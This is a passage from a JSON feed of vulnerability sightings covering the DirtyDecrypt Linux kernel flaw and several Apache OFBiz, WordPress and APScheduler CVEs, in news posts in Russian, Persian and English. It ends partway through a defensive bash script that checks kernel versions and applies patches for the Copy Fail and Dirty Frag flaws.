\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 25 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 CONFIG_RXGK, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0RxGK \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Andrew File System (AFS).\n\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c\u0438 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0435\u0441\u043d\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c\u0438 \u0440\u0435\u043b\u0438\u0437\u0430\u043c\u0438 \u044f\u0434\u0440\u0430 \u043e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Fedora, Arch Linux \u0438 openSUSE Tumbleweed.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 V12, \u0431\u044b\u043b \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 Fedora \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044f\u0434\u0440\u0435 Linux.\n\nDirtyDecrypt \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0447\u0442\u043e \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0440\u0443\u0433\u0438\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e root, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Dirty Frag, Fragnesia \u0438 Copy Fail.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e DirtyDecrypt, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f\u0434\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0435 \u0436\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b, \u0447\u0442\u043e \u0438 \u0434\u043b\u044f Dirty Frag (\u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0440\u0443\u0448\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 IPsec VPN \u0438 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c AFS).", "creation_timestamp": "2026-05-18T12:50:11.000000Z"}, {"uuid": "7e0536ad-7fbf-459d-a0ab-3598bb4e0129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mm575qci6e2g", "content": "CVE-2026-3143 boldgrid-backup (CVSS Score 5.3) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-18T15:33:06.530971Z"}, {"uuid": "13f3faab-4c38-4702-a11c-53649ac4c4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/HackerNewscyber/3022", "content": "\u2708\ufe0f\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a DirtyDecrypt\u061b \u062a\u0647\u062f\u06cc\u062f \u062c\u062f\u06cc\u062f \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0648\u062a \u062f\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633\n\n\ud83c\udfa4\u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u062c\u062f\u06cc\u062f\u06cc \u0628\u0627 \u0646\u0627\u0645 \u00abDirtyDecrypt\u00bb \u0628\u0631\u0627\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0631 \u0647\u0633\u062a\u0647 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0648\u062a \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0636\u0639\u0641 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-31635 \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a\u060c \u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc\u06cc \u0645\u0627\u0646\u0646\u062f \u0641\u062f\u0648\u0631\u0627\u060c \u0622\u0631\u0686 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0648 openSUSE Tumbleweed \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udfa4\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0648\u0635\u0644\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627\u06cc\u062f \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u06a9\u0631\u0646\u0644 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0632\u0646\u062c\u06cc\u0631\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0627\u0632 \u062c\u0645\u0644\u0647 Copy Fail \u0648 Dirty Frag \u0645\u0637\u0631\u062d \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u2705 @HackerNewsCyber", "creation_timestamp": "2026-05-18T10:14:04.000000Z"}, {"uuid": "228698ed-f5b6-425f-9f83-4b75e586c2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3140", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mm5j7mibzt2s", "content": "CVE-2026-3140 ultimate-dashboard (CVSS Score 4.3) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-18T18:33:07.025291Z"}, {"uuid": "c8d0dbce-a7c4-4130-a014-d5dd316e3986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31071", "type": "seen", "source": "https://gist.github.com/nedlir/bc8ad4693c53256819280e8f5de49286", "content": "", "creation_timestamp": "2026-05-19T07:40:12.000000Z"}, {"uuid": "6896c601-332b-4b55-8b22-dd011b672a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31072", "type": "seen", "source": "https://gist.github.com/nedlir/11fb77f35a59cbba73392a086b02a9c6", "content": "", "creation_timestamp": "2026-05-19T07:40:32.000000Z"}, {"uuid": "132213b0-6fea-447e-a5c1-134661bd07b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://thehackernews.com/2026/05/dirtydecrypt-poc-released-for-linux.html", "content": "Proof-of-concept (PoC) exploit code has now been released for a recently patched security flaw in the Linux kernel that could allow for local privilege escalation (LPE).\nDubbed DirtyDecrypt (aka DirtyCBC), the vulnerability was discovered and reported by the Zellic and V12 security team on May 9, 2026, only to be informed by the maintainers that it was a duplicate of a vulnerability that had", "creation_timestamp": "2026-05-19T12:56:26.000000Z"}, {"uuid": "5ef51cf6-a262-4676-828d-a135730d5c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31378", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7umdaopw25", "content": "CVE-2026-31378: Apache OFBiz: JSON Attribute Override and URL Allowlist Bypass Leads to Remote Code Execution", "creation_timestamp": "2026-05-19T17:02:23.960331Z"}, {"uuid": "9d83493b-4721-4bd6-98d2-d6ba51624f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31910", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7ww5oniz25", "content": "CVE-2026-31910: Apache OFBiz: Improper Input Validation in UI Factory Classes Leads to SSRF and Blind File Access", "creation_timestamp": "2026-05-19T17:43:41.460275Z"}, {"uuid": "c0a024ef-d64a-4d09-82f2-c73c22cea5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31909", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7xgh3aqf25", "content": "CVE-2026-31909: Apache OFBiz: Unauthenticated Shipment Label Image Disclosure", "creation_timestamp": "2026-05-19T17:52:48.078786Z"}, {"uuid": "dc3c5f8c-26b0-40ba-bad4-ad124a22533e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/250509", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability\nhttps://ift.tt/BrOL1MX", "creation_timestamp": "2026-05-19T15:09:20.000000Z"}, {"uuid": "b779be93-4d26-4691-8fea-25d7b85cc386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/bugxhunter.bsky.social/post/3mm7x32nz2k2u", "content": "\ud83d\udc27 DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability\n\n\ud83d\udcdd Proof-of-concept exploit code released for Linux kernel vulnerability.\n\nhttps://thehackernews.com/2026/05/dirtydecrypt-poc-released-for-linux.html\n\n\ud83d\udcf0 The Hacker News\n\n#CVE #ZeroDay", "creation_timestamp": "2026-05-19T17:46:25.808677Z"}, {"uuid": "842b6a7b-404d-4727-9648-1539c917280e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31906", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7xn6ltn72i", "content": "CVE-2026-31906: Apache OFBiz: Reflected XSS via Improper HTML Attribute Escaping in Layered-Modal Dialog Parameters", "creation_timestamp": "2026-05-19T17:56:34.110357Z"}, {"uuid": "88d0e488-96e3-46e0-a8ec-ce8ee1a556e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/bugxhunter.bsky.social/post/3mm7xvfuxah24", "content": "\ud83d\udc27 DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability\n\n\ud83d\udcdd DirtyDecrypt PoC exploit code released for Linux kernel CVE-2026-31635, affecting Linux...\n\nhttps://thehackernews.com/2026/05/dirtydecrypt-poc-released-for-linux.html\n\n\ud83d\udcf0 The Hacker News\n\n#CVE #ZeroDay", "creation_timestamp": "2026-05-19T18:01:09.826012Z"}, {"uuid": "6ab29193-2c59-4d7b-ac68-e9e090a6a6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31388", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7ygt54ua22", "content": "CVE-2026-31388: Apache OFBiz: Cross-Tenant Data Exposure via Program Export Feature", "creation_timestamp": "2026-05-19T18:10:54.576173Z"}, {"uuid": "e8c2386f-b49c-43f5-acd9-b76aba3a999b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31387", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7ypsdbmq2z", "content": "CVE-2026-31387: Apache OFBiz: Cookie Manipulation Allows Authenticated JWT Forgery and Account Impersonation", "creation_timestamp": "2026-05-19T18:15:55.678611Z"}, {"uuid": "b6a4c489-2737-4a6a-a0d5-446c164021fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31380", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mm7yyrj2ym2j", "content": "CVE-2026-31380: Apache OFBiz: FreeMarker SSTI via Duplicate Parameter Sanitization Bypass", "creation_timestamp": "2026-05-19T18:20:56.690716Z"}, {"uuid": "7d27295f-a126-4a9b-a70b-78769ec2674e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mm7zcalieb2p", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability", "creation_timestamp": "2026-05-19T18:26:15.395401Z"}, {"uuid": "b2a18359-61af-46d3-bfe9-28c266a95de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mma37dkod422", "content": "DirtyDecrypt PoC released for Linux kernel CVE-2026-31635. The LPE flaw in rxgk_decrypt_skb() affects systems with CONFIG_RXGK enabled, and mitigation efforts are emerging. #DirtyDecrypt #LinuxKernel #RockyLinux", "creation_timestamp": "2026-05-19T19:00:25.425338Z"}, {"uuid": "6907e4db-ace5-41b0-b1ae-fe561c6ff154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mmacqjlhuz2i", "content": "CVE-2026-31635: When the Bounds Check Faced the Wrong Way\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202631635", "creation_timestamp": "2026-05-19T21:15:17.432397Z"}, {"uuid": "13726ce3-05be-4aea-ae64-7bf1698515d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31072", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mma6xovmna2v", "content": "CVE-2026-31072 - Apache APScheduler Python RCE via Insecure Deserialization\nCVE ID : CVE-2026-31072\n \n Published : May 19, 2026, 4:16 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : The JSONSerializer and CBORSerializer in APScheduler (all versions including 3.10.x and 4.0.0a5)...", "creation_timestamp": "2026-05-19T20:07:42.950304Z"}, {"uuid": "d3c09a2c-d82b-4c9b-95e0-ca3e3d69d884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31071", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mma7wrvkst2i", "content": "CVE-2026-31071 - LalanaChami Pharmacy Management System Unauthenticated API Endpoint Vulnerability\nCVE ID : CVE-2026-31071\n \n Published : May 19, 2026, 4:16 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : API endpoints in LalanaChami Pharmacy Management System (commit 5c3d028) ...", "creation_timestamp": "2026-05-19T20:25:09.233335Z"}, {"uuid": "8a418652-340e-437c-8a9a-d0cef005e63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/shishir-salam/d73a9a5137ac7e958c727edcab5bc3d2", "content": "#!/bin/bash\n################################################################################\n# Linux Kernel Security Patching Script\n#\n# Purpose: Apply kernel security updates to patch:\n#   - Copy Fail vulnerability (CVE-2026-31431 / algif_aead)\n#   - Dirty Frag vulnerability (net packet fragmentation)\n# Usage: sudo ./apply-kernel-patch.sh\n# WARNING: This will update the kernel and require a reboot\n################################################################################\n\nset -euo pipefail\n\n# Colors\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nNC='\\033[0m'\n\nSCRIPT_VERSION=\"2.4\"\nCVE_ID=\"CVE-2026-31431\"\nPATCH_DATE=$(date -u +\"%Y-%m-%dT%H:%M:%SZ\")\nLOG_FILE=\"/var/log/kernel-security-patching.log\"\nS3_BUCKET=\"${1:-eps-server-prep}\"\nRESULTS_PREFIX=\"results\"\nAUTO_REBOOT=\"${2:-yes}\"\nMINIMUM_FIXED_KERNEL=\"6.1.170-210.320.amzn2023\"\n\necho \"==========================================\"\necho \"Linux Kernel Security Patching\"\necho \"Targets: Copy Fail + Dirty Frag\"\necho \"Version: $SCRIPT_VERSION\"\necho \"Date: $PATCH_DATE\"\necho \"==========================================\"\necho \"\"\n\n# Check root\nif [[ $EUID -ne 0 ]]; then\n   echo -e \"${RED}ERROR: This script must be run as root${NC}\"\n   exit 1\nfi\n\n# Log function\nlog() {\n    echo \"[$(date -u +\"%Y-%m-%d %H:%M:%S UTC\")] $1\" | tee -a \"$LOG_FILE\"\n}\n\nlog \"Starting kernel patching for $CVE_ID\"\n\n# Get system information\nHOSTNAME=$(hostname)\nDISTRO=$(grep ^ID= /etc/os-release | cut -d= -f2 | tr -d '\"')\nCURRENT_KERNEL=$(uname -r)\n\necho \"System Information:\"\necho \"  Hostname: $HOSTNAME\"\necho \"  Distribution: $DISTRO\"\necho \"  Current Kernel: $CURRENT_KERNEL\"\necho \"\"\n\n# Step 1: Pre-patch backup\necho \"[1/5] Creating pre-patch snapshot information...\"\nlog \"Creating pre-patch snapshot\"\n\ncat > \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\" <> \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\"\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    dpkg -l | grep linux-image >> \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\"\nfi\n\nlog \"Pre-patch snapshot saved\"\necho -e \"${GREEN}  Snapshot created${NC}\"\n\n# Step 2: Update package repositories\necho \"\"\necho \"[2/5] Updating package repositories...\"\nlog \"Updating package repositories\"\n\nif [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n    if yum check-update -q 2>/dev/null; then\n        echo \"  Repository check completed\"\n    fi\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    apt-get update -qq\nfi\n\nlog \"Package repositories updated\"\necho -e \"${GREEN}  Repositories updated${NC}\"\n\n# Helper function to compare kernel versions\ncompare_kernel_versions() {\n    local current=\"$1\"\n    local minimum=\"$2\"\n\n    # Extract version components (6.1.170-210.320.amzn2023.x86_64 -> 6 1 170 210 320)\n    local curr_major=$(echo \"$current\" | cut -d. -f1)\n    local curr_minor=$(echo \"$current\" | cut -d. -f2)\n    local curr_patch=$(echo \"$current\" | cut -d. -f3 | cut -d- -f1)\n    local curr_build1=$(echo \"$current\" | cut -d- -f2 | cut -d. -f1)\n    local curr_build2=$(echo \"$current\" | cut -d- -f2 | cut -d. -f2)\n\n    local min_major=$(echo \"$minimum\" | cut -d. -f1)\n    local min_minor=$(echo \"$minimum\" | cut -d. -f2)\n    local min_patch=$(echo \"$minimum\" | cut -d. -f3 | cut -d- -f1)\n    local min_build1=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f1)\n    local min_build2=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f2)\n\n    # Compare each component\n    if [ \"$curr_major\" -gt \"$min_major\" ]; then return 0; fi\n    if [ \"$curr_major\" -lt \"$min_major\" ]; then return 1; fi\n\n    if [ \"$curr_minor\" -gt \"$min_minor\" ]; then return 0; fi\n    if [ \"$curr_minor\" -lt \"$min_minor\" ]; then return 1; fi\n\n    if [ \"$curr_patch\" -gt \"$min_patch\" ]; then return 0; fi\n    if [ \"$curr_patch\" -lt \"$min_patch\" ]; then return 1; fi\n\n    if [ \"$curr_build1\" -gt \"$min_build1\" ]; then return 0; fi\n    if [ \"$curr_build1\" -lt \"$min_build1\" ]; then return 1; fi\n\n    if [ \"$curr_build2\" -ge \"$min_build2\" ]; then return 0; fi\n    return 1\n}\n\n# Step 3: Check for kernel updates\necho \"\"\necho \"[3/5] Checking for kernel updates...\"\nlog \"Checking for kernel updates\"\necho \"  Minimum required kernel: $MINIMUM_FIXED_KERNEL\"\necho \"  Current kernel: $CURRENT_KERNEL\"\n\nUPDATES_AVAILABLE=false\nVULN_FIX_STATUS=\"UNKNOWN\"\n\n# Check if current kernel meets minimum version\nif compare_kernel_versions \"$CURRENT_KERNEL\" \"$MINIMUM_FIXED_KERNEL\"; then\n    echo -e \"  ${GREEN}\u2713 Current kernel meets or exceeds minimum fixed version${NC}\"\n    log \"Current kernel $CURRENT_KERNEL meets minimum $MINIMUM_FIXED_KERNEL\"\n\n    # Verify vulnerabilities are actually fixed\n    echo \"\"\n    echo \"  Verifying vulnerability status...\"\n\n    # Check Copy Fail (algif_aead)\n    COPY_FAIL_STATUS=\"UNKNOWN\"\n    if modinfo algif_aead &>/dev/null; then\n        if lsmod | grep -q algif_aead; then\n            echo -e \"  ${YELLOW}\u26a0 Copy Fail: algif_aead module loaded (check if mitigation active)${NC}\"\n            COPY_FAIL_STATUS=\"MITIGATED\"\n        else\n            echo -e \"  ${GREEN}\u2713 Copy Fail: algif_aead present but not loaded (MITIGATED)${NC}\"\n            COPY_FAIL_STATUS=\"MITIGATED\"\n        fi\n    else\n        echo -e \"  ${GREEN}\u2713 Copy Fail: algif_aead module not in kernel (FIXED)${NC}\"\n        COPY_FAIL_STATUS=\"FIXED\"\n    fi\n\n    # Dirty Frag is fixed in kernel 6.1.170+\n    echo -e \"  ${GREEN}\u2713 Dirty Frag: Fixed in kernel $CURRENT_KERNEL${NC}\"\n    DIRTY_FRAG_STATUS=\"FIXED\"\n\n    echo \"\"\n    echo -e \"${GREEN}System is on fixed kernel version. No update needed.${NC}\"\n    echo \"\"\n    echo \"Current kernel: $CURRENT_KERNEL\"\n    echo \"Copy Fail Status: $COPY_FAIL_STATUS\"\n    echo \"Dirty Frag Status: $DIRTY_FRAG_STATUS\"\n    echo \"\"\n    log \"No updates needed - kernel $CURRENT_KERNEL is fixed\"\n\n    # Upload verification results\n    cat > \"/var/log/cve-2026-31431-patch-status.json\" </dev/null; then\n        echo -e \"${GREEN}  Results uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/$RESULT_FILE${NC}\"\n    fi\n\n    exit 0\nfi\n\necho -e \"  ${YELLOW}Current kernel is below minimum fixed version${NC}\"\nlog \"Current kernel $CURRENT_KERNEL is below minimum $MINIMUM_FIXED_KERNEL\"\n\nif [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n    # Check if the fixed kernel is already installed (e.g., after rollback)\n    if rpm -qa kernel | grep -q \"$MINIMUM_FIXED_KERNEL\"; then\n        echo \"\"\n        echo -e \"  ${GREEN}Fixed kernel $MINIMUM_FIXED_KERNEL is already installed${NC}\"\n        echo \"  Setting GRUB default to use the fixed kernel...\"\n        log \"Fixed kernel already installed, updating GRUB 